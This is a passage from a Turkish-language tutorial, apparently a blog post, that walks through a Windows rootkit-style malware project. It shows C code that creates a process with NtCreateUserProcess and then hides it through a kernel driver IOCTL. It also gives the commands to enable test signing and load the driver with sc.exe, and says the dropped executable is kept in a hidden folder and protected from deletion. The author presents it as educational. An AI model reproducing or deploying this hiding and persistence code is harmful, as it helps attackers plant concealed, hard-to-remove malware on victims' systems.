    _In_opt_ PUNICODE_STRING RuntimeData,
    _In_ ULONG Flags
);

pProcessParameters yapısı, PRTL_USER_PROCESS_PARAMETERS türünde bir pointer’dır ve işlevin çağrıldığında işlevin oluşturduğu RTL_USER_PROCESS_PARAMETERS yapısının adresini alır. Bu yapı, oluşturulacak process’in parametrelerini belirler. Bu yüzden ilk olarak process’in parametreleri ayarlamamız ve son olarak process’i oluşturmamız gerekiyor.

Oluşturulacak process’in yolunu UNICODE_STRING tipinde olan ImagePath değişkeni ile belirtiyoruz.

CreateInfo.Size = sizeof(CreateInfo);
CreateInfo.State = PsCreateInitialState;

AttrList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE));
AttrList->TotalLength = sizeof(PS_ATTRIBUTE_LIST) - sizeof(PS_ATTRIBUTE);
AttrList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
AttrList->Attributes[0].Size = ImagePath.Length;
AttrList->Attributes[0].Value = (ULONG_PTR)ImagePath.Buffer;

Bu işlemlerden sonra oluşturduğumuz PS_CREATE_INFO ve PS_ATTRIBUTE_LIST yapılarını NtCreateUserProcess fonksiyonuna ileterek process’i oluşturmasını sağlıyoruz.

PS_CREATE_INFO için internette çok fazla bilgi yok. Açıkçası bu yapının tam olarak ne işe yaradığını bilmiyorum.

PS_ATTRIBUTE_LIST yapısından devam edecek olursak, bu yapı, process oluşturulurken belirli özelliklerin belirtilmesini sağlar. Bu yapıda, process’in adı, boyutu ve değeri gibi bilgileri belirtiriz.

Status = NtCreateUserProcess(&HandleProcess, &HandleThread, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, NULL, NULL, NULL, NULL, ProcessParameters, \
    &CreateInfo, AttrList);
if (!NT_SUCCESS(Status)) {
    RtlFreeHeap(RtlProcessHeap(), 0, AttrList);
    RtlDestroyProcessParameters(ProcessParameters);
    return Status;
}

Bu yapıları tamamladıktan sonra NtCreateUserProcess fonksiyonunu çağırarak process oluşturma işlemini başlatıyoruz. Bu yapı şu şekilde:

NTSTATUS
NTAPI
NtCreateUserProcess(
    _Out_ PHANDLE ProcessHandle,
    _Out_ PHANDLE ThreadHandle,
    _In_ ACCESS_MASK ProcessDesiredAccess,
    _In_ ACCESS_MASK ThreadDesiredAccess,
    _In_opt_ POBJECT_ATTRIBUTES ProcessObjectAttributes,
    _In_opt_ POBJECT_ATTRIBUTES ThreadObjectAttributes,
    _In_ ULONG ProcessFlags,
    _In_ ULONG ThreadFlags,
    _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
    _Inout_ PPS_CREATE_INFO CreateInfo,
    _In_ PPS_ATTRIBUTE_LIST AttributeList
);

Dİğer parametrelerin yanı sıra PRTL_USER_PROCESS_PARAMETERS, PPS_CREATE_INFO ve PS_ATTRIBUTE_LIST yapılarını aldığını dikkat etmemiz gerek. Bu yapılarla beraber diğer parametreleri de belirterek process oluşturma işlemini başlatmış oluyoruz.

ProcessID = (HANDLE)(ULONG_PTR)GetProcessId(HandleNewProcess);
printf("[*] Created Process! Process ID: %lu\n", (ULONG)(ULONG_PTR)ProcessID);

Result = ConnectDriver(IOCTL_HIDE_PROCESS, &ProcessID, sizeof(ULONG_PTR), NULL, 0);
if (!Result) {
    printf("[-] Failed to Hide The Process! Error Code: 0x%lx\n", GetLastError());
    CloseHandle(HandleNewProcess);
    return -1;
}
printf("[+] The Process has been Hidden!\n");

Process’in oluşturulma sonrasında alınan handle değeriyle PID değerini alıyoruz ve HANDLE tipiyle ProcessID değişkenine aktarıyoruz. HANDLE tipiyle alma nedenimiz ise kernel tarafında PID değerleri HANDLE tipinde tutulduğu için çeviriyoruz.

Daha sonra tekrar ConnectDriver fonksiyonunu IOCTL_HIDE_PROCESS kodu ile çağırarak process’i gizlemesi için talimat gönderiyoruz ve oluşturulan Process gizlenmiş oluyor.

Malware’in çalıştırılması

Eğer projeyi denemek istiyorsanız WinDbg bağlı bir sanal makine windows 10/11 kullanmanızı öneririm. Sistemde kalıcı kalıntılar bırakıldığından dolayı local sistemde çalıştırmanızı önermiyorum.

Projeyi sanal makinede çalıştırmadan önce windows’un test ortamında çalıştırmanız gerekecektir. Aşağıdaki kod ile test modunu aktifleştirebilirsiniz:

bcdedit /set testsigning on

Daha sonra işletim sistemini yeniden başlatın.

Yeniden başlattıktan sonra cmd.exe’yi admin yetkisiyle çalıştırın ve sürücüyü sisteme yükleyin:

sc.exe create resurrection type=kernel binPath="\\path\\to\\driver\\resurrection.sys" start=demand

Daha sonra sürücüyü başlatın:

sc.exe start resurrection

Son olarak dinleme işlemi için bir notepad veya paint gibi uygulama başlatabilirsiniz. Çalıştırdığınız bu programın PID değerini alın ve user-mode programına verin:

.\\program.exe <PID>

Daha sonra sonuçları gözlemleyebilirsiniz.

Videoda görüldüğü gibi Windows 11 ortamda Paint uygulamasını başlattık ve PID değerini alarak user-mode programına verdik. Paint programın sonlanmasıyla yeni bir Process oluşturuldu ve gizlendi. Videonun sonunda göreceğiniz üzere oluşturulan dosyanın yetkisi değiştirildiği için silinme işlemi denendiğinde Access Denied hatası ve indirilen executable dosyanın çalıştırılmayı denendiğinde de Access Denied hatası verildiği görülmektedir.

Sonuç

Bu projede, kernel-mode sürücü ve user-mode programı kullanarak malware’in gizli bir klasörde saklanmasını ve bir process oluşturulmasını ve gizlenmesini sağladık. Umarım bu tekniği anlamınızda yardımcı olmuştur.

Bunu söylemekten sıkılmayacağım ancak bunun bir eğitim amaçlı olduğunu ve kötü amaçlı kullanıma teşvik etmediğimi tekrar belirtmek isterim.

Hepinize iyi çalışmalar dilerim 🚀🚀🚀